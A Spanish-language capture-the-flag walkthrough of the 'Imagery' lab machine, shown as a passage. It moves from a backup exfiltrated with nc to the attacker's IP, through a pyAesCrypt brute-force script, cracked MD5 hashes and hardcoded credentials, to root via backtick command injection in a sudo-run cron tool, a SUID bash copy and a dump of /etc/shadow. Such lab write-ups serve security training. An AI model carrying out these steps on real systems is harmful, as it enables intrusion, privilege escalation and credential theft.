 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
$ ls -lah bot
total 16K
drwxr-xr-x 2 root root 4.0K Sep 22 18:56 .
drwxrwxr-x 9 web  web  4.0K Sep 29 07:12 ..
-rwxr-xr-x 1 web  web  6.8K Aug  2 19:56 admin.py
$ cat bot/admin.py
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import tempfile, shutil, time, traceback, uuid, os, glob

# ----- Config -----
CHROME_BINARY = "/usr/bin/google-chrome"
USERNAME = "admin@imagery.htb"
PASSWORD = "strongsandofbeach"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"
# ------------------

Backup

En el directorio /var/backup descubrimos un backup encriptado.

1
2
3
4
5
6
7
8
bash-5.2$ pwd
/var/backup
bash-5.2$ ls -lah
total 22M
drwxr-xr-x  2 root root 4.0K Sep 22 18:56 .
drwxr-xr-x 14 root root 4.0K Sep 22 18:56 ..
-rw-rw-r--  1 root root  22M Aug  6  2024 web_20250806_120723.zip.aes
bash-5.2$

Utilizamos netcat para enviarlo a nuestra maquina.

1
2
3
4
bash-5.2$ nc -w 3 10.10.14.4 80 < web_20250806_120723.zip.aes
bash-5.2$ sha256sum web_20250806_120723.zip.aes
4b575e42816be79083a2a19c48a998cc3c6d5ab0f3a7fbac2a468dd2087e6820  web_20250806_120723.zip.aes
bash-5.2$

file muestra encriptacion AES por pyAesCrypt 6.1.1.

1
2
3
4
5
6
# nc -lvp 80 > web_20250806_120723.zip.aes
❯ sha256sum web_20250806_120723.zip.aes
4b575e42816be79083a2a19c48a998cc3c6d5ab0f3a7fbac2a468dd2087e6820  web_20250806_120723.zip.aes
❯ file web_20250806_120723.zip.aes
web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"

pyAesCrypt

Se creo un script utilizando pyAesCrypt para encontrar la contrasena para este archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# pip install pyAesCrypt
#!/usr/bin/env python3
import sys, os
import pyAesCrypt

if len(sys.argv) != 3:
    print("Usage: aescrypt_de.py pass_file file.aes"); sys.exit(1)

pwfile, infile = sys.argv[1], sys.argv[2]
out = "/tmp/out_aes_try.zip"
bufSize = 64 * 1024

with open(pwfile, "r", encoding="utf-8", errors="ignore") as f:
    for line in f:
        pw = line.strip()
        if not pw: 
            continue
        try:
            pyAesCrypt.decryptFile(infile, out, pw, bufSize)
        except Exception:
            if os.path.exists(out): os.remove(out)
            continue
        # check ZIP magic
        with open(out, "rb") as g:
            if g.read(4) == b"PK\x03\x04":
                print("Password Found:", pw)
                sys.exit(0)
        os.remove(out)

print("No password found")

Utilizamos el wordlist rockyou para encontrar la contrasena de este archivo.

1
2
3
❯ python aescrypt_de.py $ROCK web_20250806_120723.zip.aes
Password Found: bestfriends

Utilizamos la contrasena para desencriptar y listamos los archivos dentro del zip, es un backup del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ python
Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pyAesCrypt
>>> pyAesCrypt.decryptFile("web_20250806_120723.zip.aes", "web_20250806_120723.zip", "bestfriends")
>>> exit()
❯ unzip -l web_20250806_120723.zip | head
Archive:  web_20250806_120723.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     4023  2025-08-05 09:00   web/utils.py
     9091  2025-08-05 08:57   web/api_manage.py
      840  2025-08-05 08:58   web/api_misc.py
     6398  2025-08-05 08:56   web/api_auth.py
     1809  2025-08-05 08:59   web/config.py
     1943  2025-08-05 15:21   web/app.py
     9784  2025-08-05 08:56   web/api_admin.py

DB Backup

Dentro de este encontramos el archivo db.json que contiene usuarios y contrasenas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
cd web_backup/web
❯ ls -lah
drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025  .
drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025  ..
drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025  __pycache__
drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:49 2025  env
drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025  system_logs
drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025  templates
.rw-rw-r-- kali kali 9.6 KB Tue Aug  5 08:56:42 2025  api_admin.py
.rw-rw-r-- kali kali 6.2 KB Tue Aug  5 08:56:54 2025  api_auth.py
.rw-rw-r-- kali kali  12 KB Tue Aug  5 08:57:06 2025  api_edit.py
.rw-rw-r-- kali kali 8.9 KB Tue Aug  5 08:57:20 2025  api_manage.py
.rw-rw-r-- kali kali 840 B  Tue Aug  5 08:58:18 2025  api_misc.py
.rw-rw-r-- kali kali  12 KB Tue Aug  5 08:58:38 2025  api_upload.py
.rw-rw-r-- kali kali 1.9 KB Tue Aug  5 15:21:24 2025  app.py
.rw-rw-r-- kali kali 1.8 KB Tue Aug  5 08:59:48 2025  config.py
.rw-rw-r-- kali kali 1.5 KB Wed Aug  6 12:07:02 2025  db.json
.rw-rw-r-- kali kali 3.9 KB Tue Aug  5 09:00:20 2025  utils.py

Existen cuatro usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ cat db.json | jq '.users[].username'
"admin@imagery.htb"
"testuser@imagery.htb"
"mark@imagery.htb"
"web@imagery.htb"
❯ cat db.json | jq '.users[].password'
"5d9c1d507a3f76af1e5c97a3ad1eaa31"
"2c65c8d7bfbca32a3ed42596192384f6"
"01c3d2e5bdaf6134cec0a367cf53e535"
"84e3c804cf1fa14306f26f9f3da177e0"

crackstation muestra dos contrasenas nuevas.

Hash Type Result
5d9c1d507a3f76af1e5c97a3ad1eaa31 Unknown Not found.
2c65c8d7bfbca32a3ed42596192384f6 md5 iambatman
01c3d2e5bdaf6134cec0a367cf53e535 md5 supersmash
84e3c804cf1fa14306f26f9f3da177e0 md5 spiderweb1234

La contrasena para web es valida.

1
2
3
4
bash-5.2$ sudo -l -l
[sudo] password for web: spiderweb1234
Sorry, user web may not run sudo on Imagery.
bash-5.2$

User - mark

Cambiamos a mark con su contrasena logrando acceder a la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
bash-5.2$ su mark
Password: supersmash
bash-5.2$ whoami
mark
bash-5.2$ cd
bash-5.2$ ls
user.txt
bash-5.2$ cat user.txt
5cbe987670384a33730bbbe066810f53
bash-5.2$

Privesc

mark puede ejecutar charcol como root a traves de sudo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
bash-5.2$ sudo -l -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on Imagery:

Sudoers entry: /etc/sudoers
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
    /usr/local/bin/charcol
bash-5.2$

El output describe el ejecutable para la creacion de backups encriptados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
bash-5.2$ sudo charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only
                        warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system
                        password verification).
bash-5.2$ 

Una de las opciones permite reiniciar la contrasena, tras ejecutar esta opcion, se configuro en modo ’no password'.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
bash-5.2$ sudo charcol -R

Attempting to reset Charcol application password to default.
[2025-09-29 10:05:54] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 
supersmash

[2025-09-29 10:05:59] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
bash-5.2$ sudo charcol shell

First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode: 

Are you sure you want to use 'no password' mode? (yes/no): yes
[2025-09-29 10:06:17] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.
bash-5.2$

Accedimos a la shell interactiva.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
bash-5.2$ sudo charcol shell

  ░██████  ░██                                                  ░██ 
 ░██   ░░██ ░██                                                  ░██ 
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██ 
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██ 
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██ 
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██ 
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██ 
                                                                    
                                                                    
                                                                    
Charcol The Backup Suit - Development edition 1.0.0

[2025-09-29 10:06:21] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol>

Cronjobs

Tras ejecutar help este indica que podemos crear cronjobs.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Automated Jobs (Cron):
    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
      Purpose: Add a new automated cron job managed by Charcol.
      Verification:
        - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
        - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
      Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
      Examples:
        - Status 1 (encrypted app password), cron:
          CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), cron, unencrypted backup:
          CHARCOL_NON_INTERACTIVE=true charcol auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), interactive:
          auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
          (will prompt for system password)

    auto list
      Purpose: List all automated jobs managed by Charcol.
      Example:
        auto list

Creamos el comando para agregar un cronjob.

1
auto add --schedule "* * * * *" --command "`whoami>/home/mark/whoami`;charcol backup -i /home/mark/user.txt" --name "new cron" --log-output /home/mark/log.log

Tras ejecutarlo se muestra que fue agregado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
charcol> auto add --schedule "* * * * *" --command "`whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt" --name "new cron" --log-output /home/mark/log.log
[2025-09-29 10:07:14] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 
supersmash

[2025-09-29 10:07:18] [INFO] System password verified successfully.
[2025-09-29 10:07:18] [INFO] Auto job 'new cron' (ID: 8f9716b2-9890-4595-94bb-979953954d55) added successfully. The job will run according to schedule.
[2025-09-29 10:07:18] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true `whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt >> /home/mark/log.log 2>&1
charcol> auto list
auto list
[2025-09-29 10:07:46] [INFO] Charcol-managed auto jobs:
[2025-09-29 10:07:46] [INFO]   ID: 8f9716b2-9890-4595-94bb-979953954d55
[2025-09-29 10:07:46] [INFO]   Name: new cron
[2025-09-29 10:07:46] [INFO]   Command: * * * * * CHARCOL_NON_INTERACTIVE=true `whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt >> /home/mark/log.log 2>&1
[2025-09-29 10:07:46] [INFO] ------------------------------
charcol>

pspy muestra el cronjob siendo ejecutado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# cmd : auto list
2025/09/29 10:07:46 CMD: UID=0     PID=1709321 | crontab -l 
2025/09/29 10:08:01 CMD: UID=0     PID=1709322 | /usr/sbin/cron -f -P 
2025/09/29 10:08:01 CMD: UID=0     PID=1709324 | /usr/sbin/cron -f -P 
2025/09/29 10:08:01 CMD: UID=0     PID=1709323 | /usr/sbin/cron -f -P 
2025/09/29 10:08:01 CMD: UID=0     PID=1709325 | /usr/sbin/CRON -f -P 
2025/09/29 10:08:01 CMD: UID=0     PID=1709328 | /usr/sbin/CRON -f -P 
2025/09/29 10:08:01 CMD: UID=0     PID=1709327 | /usr/sbin/CRON -f -P 
2025/09/29 10:08:01 CMD: UID=0     PID=1709326 | /usr/sbin/CRON -f -P 
# cronjob executed
2025/09/29 10:08:01 CMD: UID=0     PID=1709329 | /bin/sh -c CHARCOL_NON_INTERACTIVE=true `whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt >> /home/mark/log.log 2>&1 
2025/09/29 10:08:01 CMD: UID=0     PID=1709331 | /bin/bash /usr/local/bin/charcol backup -i /home/mark/user.txt

Observamos el resultado del comando.

1
2
3
4
5
bash-5.2$ ls -lah whoami_cmd
-rw-r--r-- 1 root root 5 Sep 29 10:08 whoami_cmd
bash-5.2$ cat whoami_cmd
root
bash-5.2$

Shell

Creamos un nuevo cronjob para la copia de bash con permisos SUID.

1
auto add --schedule "* * * * *" --command "cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc" --name "bash priv" --log-output /home/mark/log.log

Se agrego a la lista.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
charcol> auto add --schedule "* * * * *" --command "cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc" --name "bash priv" --log-output /home/mark/log.log
[2025-09-29 10:09:14] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 
supersmash
[2025-09-29 10:09:17] [INFO] System password verified successfully.
[2025-09-29 10:09:17] [INFO] Auto job 'bash priv' (ID: f00c9a41-7a4b-4a58-a76e-f4fc22069349) added successfully. The job will run according to schedule.
[2025-09-29 10:09:17] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc >> /home/mark/log.log 2>&1
charcol> auto list
[2025-09-29 10:09:21] [INFO] Charcol-managed auto jobs:
[2025-09-29 10:09:21] [INFO]   ID: 8f9716b2-9890-4595-94bb-979953954d55
[2025-09-29 10:09:21] [INFO]   Name: new cron
[2025-09-29 10:09:21] [INFO]   Command: * * * * * CHARCOL_NON_INTERACTIVE=true `whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt >> /home/mark/log.log 2>&1
[2025-09-29 10:09:21] [INFO] ------------------------------
[2025-09-29 10:09:21] [INFO]   ID: f00c9a41-7a4b-4a58-a76e-f4fc22069349
[2025-09-29 10:09:21] [INFO]   Name: bash priv
[2025-09-29 10:09:21] [INFO]   Command: * * * * * CHARCOL_NON_INTERACTIVE=true cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc >> /home/mark/log.log 2>&1
[2025-09-29 10:09:21] [INFO] ------------------------------
charcol>

pspy muestra su ejecucion como root.

1
2
3
4
2025/09/29 10:10:01 CMD: UID=0     PID=1709705 | /bin/bash /usr/local/bin/charcol backup -i /home/mark/user.txt 
2025/09/29 10:10:01 CMD: UID=0     PID=1709706 | /usr/bin/python3 /usr/local/lib/charcol//charcol.py backup -i /home/mark/user.txt 
2025/09/29 10:10:01 CMD: UID=0     PID=1709707 | /bin/sh -c CHARCOL_NON_INTERACTIVE=true cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc >> /home/mark/log.log 2>&1 
2025/09/29 10:10:01 CMD: UID=0     PID=1709708 | /sbin/init

Tras ejecutar la copia como privilegiada logramos acceso root y la lectura de root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
bash-5.2$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.5M Sep 29 10:10 /usr/bin/sc
bash-5.2$ /usr/bin/sc -p
sc-5.2# whoami
root
sc-5.2# cd /root
sc-5.2# ls
chrome.deb  root.txt
sc-5.2# cat root.txt
c00f38447d12464e5afd3ca4bb87d38e
sc-5.2#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
sc-5.2# cat /etc/shadow
cat /etc/shadow
root:$y$j9T$OVSThp/6ybogilellugDf.$Le2uXxNfrXRiH18puL.GI7fnu2hYxttVASa.OMFvjs4:20286:0:99999:7:::
daemon:*:20003:0:99999:7:::
bin:*:20003:0:99999:7:::
sys:*:20003:0:99999:7:::
sync:*:20003:0:99999:7:::
games:*:20003:0:99999:7:::
man:*:20003:0:99999:7:::
lp:*:20003:0:99999:7:::
mail:*:20003:0:99999:7:::
news:*:20003:0:99999:7:::
uucp:*:20003:0:99999:7:::
proxy:*:20003:0:99999:7:::
www-data:*:20003:0:99999:7:::
backup:*:20003:0:99999:7:::
list:*:20003:0:99999:7:::
irc:*:20003:0:99999:7:::
_apt:*:20003:0:99999:7:::
nobody:*:20003:0:99999:7:::
systemd-network:!*:20003::::::
usbmux:!:20003::::::
systemd-timesync:!*:20003::::::
messagebus:!:20003::::::
systemd-resolve:!*:20003::::::
pollinate:!:20003::::::
polkitd:!*:20003::::::
syslog:!:20003::::::
uuidd:!:20003::::::
tcpdump:!:20003::::::
tss:!:20003::::::
landscape:!:20003::::::
fwupd-refresh:!*:20003::::::
web:$y$j9T$bSJcB7IM6SVHob8SVJQ2X/$L16rTrWlInaJ6EvPTXO3CTiUP88xtNClzOJkwXIIL0D:20303:0:99999:7:::
sshd:!:20283::::::
snapd-range-524288-root:!:20283::::::
snap_daemon:!:20283::::::
mark:$y$j9T$m1reIJvzn7/7hhJ26v8WV1$3zPWU7HPsUn0P133BsMZDar.XmDq1T3AbJrfi.Nc6x3:20350:0:99999:7:::
_laurel:!:20353::::::
dhcpcd:!:20353::::::
sc-5.2#
Share on

Dany Sucuc
WRITTEN BY
sckull